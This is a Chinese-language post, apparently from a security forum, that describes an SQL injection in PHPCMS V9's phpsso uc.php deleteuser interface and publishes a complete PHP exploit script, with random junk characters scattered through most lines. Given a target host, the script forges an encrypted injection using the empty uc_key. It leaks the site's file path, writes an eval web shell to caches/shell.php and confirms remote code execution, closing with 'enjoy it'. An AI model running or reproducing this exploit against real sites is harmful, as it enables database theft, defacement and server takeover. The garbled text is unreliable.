PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- V2 K( C& H# U0 L" c! N2 m9 r! @$ ~
" @) s+ X$ u9 l# D所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 V6 {9 x3 P9 b1 B( p: {
) x, Q3 f6 H7 `8 v1 j3 }4 S漏洞分析:
! j! c* B; W# ~5 H( J, k7 R1.未启用ucenter服务的情况下uc_key为空
6 z6 C; U2 N8 K# Q3 B' V( qdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 Q8 A* P% H" u" f* E' X2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
. o& F; w9 e: V) A public function deleteuser($get,$post) {4 ^0 \) I; v! f9 ?" {
pc_base::load_app_func('global', 'admin');( L9 O) v: j4 q; D0 ?6 V
pc_base::load_app_class('messagequeue', 'admin' , 0);" ~3 z n, c: C9 X+ r) ^# x5 W
$ids = new_stripslashes($get['ids']);! S+ Z, G9 R$ i7 V! U) L6 N/ l
$s = $this->member_db->select("ucuserid in ($ids)", "uid");) L% {- K4 _% I9 P
SQL语句为! D3 p4 H6 Y9 K, s
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 Q" ~8 B$ X0 @- s1 D, `# ^
' `( z5 I! [1 d8 p% m利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
9 s" g' J* B; ?- f. U* n: q<?php
2 p9 e4 n5 A9 [, K: xprint_r('3 F5 ~ C/ @) S
---------------------------------------------------------------------------) A! V& [ Z) c. v; v' o* }
PHPcms (v9 or Old Version) uc api sql injection 0day
$ T$ g1 u% O3 R" O! t( Qby rayh4c#80sec.com
: p% j5 k% i0 I---------------------------------------------------------------------------5 z9 V4 @' ^5 y4 Y, t2 d
');
: C4 ]0 V, f! Z' h# V
+ n8 A8 Z! I9 S8 l+ Y$ `, \+ Iif ($argc<3) {# B# [* e- l" z1 k! P; |; ?
print_r('
, s g0 K8 P8 Q% U) W---------------------------------------------------------------------------( B2 h8 M( I" _' G/ ~
Usage: php '.$argv[0].' host path OPTIONS& T4 B; ^: U+ P {) F- k5 g
host: target server (ip/hostname); E7 Y H4 e; l6 o- X+ t# T
path: path to phpcms
l% t$ ]0 v* d1 \Options:
" h/ B( X/ x/ t -p[port]: specify a port other than 80
3 g* d; O* y& b+ ^1 `) D: x -P[ip:port]: specify a proxy
- g0 N1 R) n# s V" kExample:* Y/ \$ K/ q" ?9 H9 P- G
php '.$argv[0].' localhost /: t4 q, J5 w+ t0 v( E. A: {
php '.$argv[0].' localhost /phpcms/ -p81+ u! c: h Y# @0 g8 d' W3 Y+ J
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- W/ |9 p$ f4 B6 a# M2 [( ?
---------------------------------------------------------------------------
& t6 @) ~* _- |4 `/ T');
: x, J7 l2 r1 ^' f2 a$ A, Y, `: ] die;
# R0 ~& C, R1 [& N' f* V) \) A5 z6 |}1 @% |( O. c! I& U
, L4 Z+ P. v3 d
error_reporting(7); \9 |# _$ Q1 i
ini_set("max_execution_time",0);6 r1 }. `# z3 Y" o! M# z! ^
ini_set("default_socket_timeout",5);3 T, B. g% r) q- y3 q
6 a4 m* e. k+ \$ W$ gfunction quick_dump($string)
5 b# R4 W, i" a! M$ p% U{/ X: f/ Z- `/ a* f! M7 h
$result='';$exa='';$cont=0;5 S- v# J, L: P, c& C& O
for ($i=0; $i<=strlen($string)-1; $i++)
6 K5 B! ~* G8 \# z! @ {
+ K. i, L/ C; u0 ?* c: ? if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
$ L2 F7 |* f5 e; X! y {$result.=" .";}
8 T0 \$ {( `( J- H, B else: p7 n; T9 g. u1 a7 b
{$result.=" ".$string[$i];}: v* }& L' |! ]: a4 x4 _9 d+ ^
if (strlen(dechex(ord($string[$i])))==2)
; D4 R! N% }6 U* w) c( H# c {$exa.=" ".dechex(ord($string[$i]));}+ t* [8 B% V, P( V5 h' M* h
else( G' K: k2 N- X4 ] b# H
{$exa.=" 0".dechex(ord($string[$i]));}& Z" M3 p- X- J0 f
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
, P" L& D% G1 r# S5 ~4 U }: u. w( c" V2 }3 r
return $exa."\r\n".$result;
( Q) r J$ }- C}" n6 b% ~9 v: @0 y& n9 _ n5 G
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';: l; N$ ]: `6 S5 s
$ v) F9 Y* l3 g3 L$ dfunction send($packet). W5 v" E4 b. }& |2 j: E& t
{
, J+ I$ l+ q+ C$ d6 S global $proxy, $host, $port, $html, $proxy_regex;8 S7 m( |" N( b) ?# ?1 M
if ($proxy=='') {
8 u: V8 y8 S7 \1 ^9 V $ock=fsockopen(gethostbyname($host),$port);9 H( m1 Q: m" U1 V' o% V/ W
if (!$ock) {
! V9 b3 L) v. c o- ^% ? echo 'No response from '.$host.':'.$port; die;* _3 h3 T; R) ]8 \* k/ [
}4 B7 } J' S2 a) Q) b1 i) c- L
}
$ k- C6 J/ u# ^% ?1 B else {4 a4 a$ g' x, F; Y
$c = preg_match($proxy_regex,$proxy);
: n( z$ r- S; d if (!$c) {+ D+ U' F8 Q, n6 V$ f
echo 'Not a valid proxy...';die;
1 P# L- J2 F9 l7 @, U8 E, R }% f6 T$ v% I7 { C
$parts=explode(':',$proxy);) i$ x) M% J' d% d2 k5 u4 u' d7 l
$parts[1]=(int)$parts[1];' z4 F- s& }" `# v
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& y7 M: |$ o1 U3 N1 ?" U $ock=fsockopen($parts[0],$parts[1]);
M3 |) T$ V3 {. d& [: m1 N0 v# b- n if (!$ock) {/ f9 M6 k; X; r3 c
echo 'No response from proxy...';die;
0 h& f3 c/ Z4 ~$ G }# W. V7 [6 S0 u/ {
}
. M4 i& U, G' p fputs($ock,$packet);8 ?% ^; Z& o8 x6 V4 u* D
if ($proxy=='') {: V1 ^4 u( u6 d" e6 t' Q
$html='';
! X5 O f* s/ Y& a- _ while (!feof($ock)) {1 s$ T5 K1 f* P, T
$html.=fgets($ock);
3 q8 s0 v- j7 B y8 }) S l }
( P4 u! a8 U$ }- P) N }6 @/ a" K; U9 ]2 M( O, ~
else { b" U$ \+ G7 M( S0 d
$html='';
3 h1 t$ q8 L7 L2 R) e0 X: F while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' p5 U* m% C v# G) z5 M9 r# z, T $html.=fread($ock,1);
" s5 R" p7 ~; f6 }0 G6 d) G3 m/ @ }$ R. N7 p% T- D! G( _ w1 X
}3 @2 M* w' O ?, N( Y9 {1 q
fclose($ock);
7 g+ B* R0 l6 P}7 E6 }* o& d) T7 c5 Z$ q2 A o/ [
/ V: L s" s- V1 e/ Z) H9 g$host=$argv[1];* W s) t5 p- K# \
$path=$argv[2];) o: r, _6 o" |: n% L/ @8 U
$port=80; { }6 }7 I( N
$proxy="";& ^( _" ~" t f8 ]8 h* c# _; V
for ($i=3; $i<$argc; $i++){
0 x6 A) A' S5 h/ [- w6 C4 J4 ]. j2 a$temp=$argv[$i][0].$argv[$i][1];
3 z, e! I, G3 K+ I5 l( \7 Rif ($temp=="-p")
+ l- A; Y, H: J5 F6 E+ ~- f6 o0 b{% m( {0 I/ a$ m$ ?. {
$port=(int)str_replace("-p","",$argv[$i]);
, i3 V1 s3 v, D/ g, ?}( d* }8 g7 y/ E4 x/ \
if ($temp=="-P")
0 M6 G* T4 i5 N5 D{
( f* w# k$ { i- j2 Y2 _9 h $proxy=str_replace("-P","",$argv[$i]);! z$ h- A$ t% F
}
0 P1 H5 V7 h. N' x- \8 ?}1 J9 q/ M7 p' r% n
* |. G) i; D9 H/ ]% F8 C2 Hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}5 q4 f0 U: H6 A! R z+ T: G) L
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: q7 i. Y% ?' s/ b
9 O1 e' {( U% ^ R3 `function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { y% `5 U3 c# \ l6 E0 G) Y" h ~
) B+ A6 M0 L& e, k; q' e; z/ c $ckey_length = 4;
3 [! h6 n, Z" ~0 @* K' A: Q
% `5 S8 D7 _" E% |" H $key = md5($key ? $key : '');# R6 B- J% q3 W+ ~9 h# P- V
$keya = md5(substr($key, 0, 16));
* A1 Q4 S- d5 C$ A7 u $keyb = md5(substr($key, 16, 16));% n [/ H7 S1 [& l. H
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, K, Q+ i7 m) s2 K- U9 V5 n& o$ `) l1 A0 v5 c: [! l# o
$cryptkey = $keya.md5($keya.$keyc);4 |" U# W; S2 N+ j5 ?
$key_length = strlen($cryptkey);% k2 p0 g, q( B" G F3 Q/ }, s/ d
0 a& K# d6 }( W1 R" K
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; Z4 @4 l8 k3 t0 j. W $string_length = strlen($string);1 t1 R1 K# q/ j# s% Y" x# J
: ]: r8 t; `. r6 | ~4 x# N $result = '';
$ ^3 m2 z3 o+ f" n, Y. d $box = range(0, 255);
, q# q1 k; n/ h8 p. k: s: e9 ]1 v i- D5 F ^6 N$ C
$rndkey = array();$ A! e9 h; h: r
for($i = 0; $i <= 255; $i++) {- |% ~5 {. [# u; U% G; x. G8 ?
$rndkey[$i] = ord($cryptkey[$i % $key_length]);, D( J$ o& K/ o
}
! A: c0 b* e0 L2 B/ c& R, T, I9 X7 t- g# b
for($j = $i = 0; $i < 256; $i++) {+ Y. `! r9 u: f3 g
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
& T7 K$ N/ I0 b$ p% E9 C6 \$ t $tmp = $box[$i];9 a+ r% n, b$ R" k8 E5 M
$box[$i] = $box[$j];
/ b% \: O: w& I2 \. X $box[$j] = $tmp;0 z7 k* u' V3 s+ t. ?2 N
}
H" h) X* m& s0 o3 f: h/ d+ l, `5 v( ^ g, V. P$ T
for($a = $j = $i = 0; $i < $string_length; $i++) {
$ N/ \* d4 k5 Z5 L $a = ($a + 1) % 256;# M9 N; M5 A3 g* x- a
$j = ($j + $box[$a]) % 256;0 S# K8 q* Y! h3 G) S
$tmp = $box[$a];
, n' K& v! I1 ` $box[$a] = $box[$j];; p, s* M0 b7 j6 [) o# G8 P: z
$box[$j] = $tmp;
1 S+ P4 R- ?3 G' T1 q3 O+ m $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));" A2 c% H% E' N
}* X: r9 f/ w( F% K* ~; ?5 q
. n7 H/ q, P" p if($operation == 'DECODE') {& B) p. u5 W( [" u, _/ H
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: ^8 \. t! O& I4 n. ?- M/ a return substr($result, 26);
9 {9 X& k( {; E- e/ ] } else {( H0 h( n- M. T9 Y+ Y z+ s& S
return '';/ J/ \7 }# o, O" b
}8 U+ g, O6 C2 H ?5 Q! [5 U
} else {
6 f+ r9 ]8 F6 w2 e* ^6 u return $keyc.str_replace('=', '', base64_encode($result));
9 P; q5 Q3 v. b2 Y- V* } }/ V$ l4 `5 W) j/ R; B% I" a
: g k6 ~8 n8 p) P' v}
; { R- q* |, Z7 J4 |1 e8 y. F9 z+ q( r1 f$ u' v: O
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";! U; t* S' i0 m7 q" L* r% w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; |. o0 h+ I% a& ~3 P/ ^echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" r" l: d" |+ y: s3 J- M4 F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: Q/ c8 `4 P$ a
$packet.="User-Agent: Mozilla/5.0\r\n";; Q( }5 C; p$ ^3 O. R
$packet.="Host: ".$host."\r\n";5 l+ N# v L; ^5 B0 _) A8 O
$packet.="Connection: Close\r\n\r\n";
8 [! k7 z0 I; \5 E' `send($packet);
- H _* X5 c- |" e4 q5 [! ]if(strpos($html,"MySQL Errno") > 0){
8 _" z& z0 H. \) ]6 Zecho "[2] 发现存在SQL注入漏洞"."\n";
& O: q* a9 G @echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";$ n8 b/ x4 [( e) H- R2 D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! ?5 x; t( t! P* x0 E2 P$packet.="User-Agent: Mozilla/5.0\r\n"; `2 k7 \7 s- {- ^5 r
$packet.="Host: ".$host."\r\n";
k7 o* p# X5 d$ |: {$packet.="Connection: Close\r\n\r\n";+ m% l# |+ G+ g" T& h) l; ~2 d; O! Y
send($packet);8 F7 q% f* r$ |6 ]/ z1 i2 k3 W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
0 [" I, O& I' A4 |, y//print_r($matches);1 Q8 y- w- Y/ |0 X
if(!empty($matches)){
2 E9 L6 _! ]9 x+ V( Mecho "[4] 得到web路径 " . $matches[0]."\n";" }& g! m) M* Q' K$ k
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
6 @* R( d; H4 v; a# r7 N' V. V& v& e$ _$SQL = "time=999999999999999999999999&ids=1)";* `4 W8 o" X) s# }: \5 s6 | _
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# {# w+ s, i+ _8 s+ ^) b6 F4 Z) O$SQL.="&action=deleteuser";
4 M- R, {% r) P$SQL = urlencode(authcode($SQL, "ENCODE", ""));
* K* }, e" J' X% x0 r" |$ [' H3 cecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 @$ V o3 z0 _' Y. ?3 }/ t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* {2 L$ U; Z! K& M/ m. @0 \! N$packet.="User-Agent: Mozilla/5.0\r\n";& k c; |. a8 |% |* L& \! ~( X
$packet.="Host: ".$host."\r\n";! O6 G) `. O) v5 u
$packet.="Connection: Close\r\n\r\n";
8 x" c# A9 M: W+ Isend($packet);7 x( G1 E& f' [
if(strpos($html,"Access denied") > 0){
3 S9 r% c4 }5 _/ r- [$ Kecho "[-] MYSQL权限过低 禁止写入文件 ";, ]9 h" R5 F" I6 a8 R
die;0 C; N/ C* u( B$ z7 G2 s: N
}" a0 j6 j% n9 _. }: F3 k' U
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n"; f4 c. A. B/ H
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";7 E6 H1 I, L) h4 A# w! d- S- [6 O2 h
$packet.="User-Agent: Mozilla/5.0\r\n";+ m% [6 m# L6 V0 v' G5 n
$packet.="Host: ".$host."\r\n";
( {' I( [, Q3 f" M, K$packet.="Connection: Close\r\n\r\n";
( x' V4 ^0 h0 {2 n6 C, ysend($packet);' v* T( U5 o0 q/ ^3 t5 o
if(strpos($html,"<title>phpinfo()</title>") > 0){8 z6 b4 _; _ E f
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
6 E; W: Y% L8 n t- {7 f}
3 o4 D& G* _0 n, G G) `/ u}else{' l+ B+ E2 A- J( V! o' ?6 u
echo "[-]未取到web路径 ";
" m2 p& j# _! _9 i; n. L/ X' t}7 e5 _0 ^8 v4 K' v/ n
}else{+ K' O6 ~. N6 {3 i( _3 `% m) {
echo "[*]不存在SQL注入漏洞"."\n";& D/ T) Y" _$ c) U2 a5 Z
}
5 J$ g8 J7 e. I% B
: [! @7 q- M1 Y?>
8 ^5 m6 S/ e1 T# J% B" ^; D |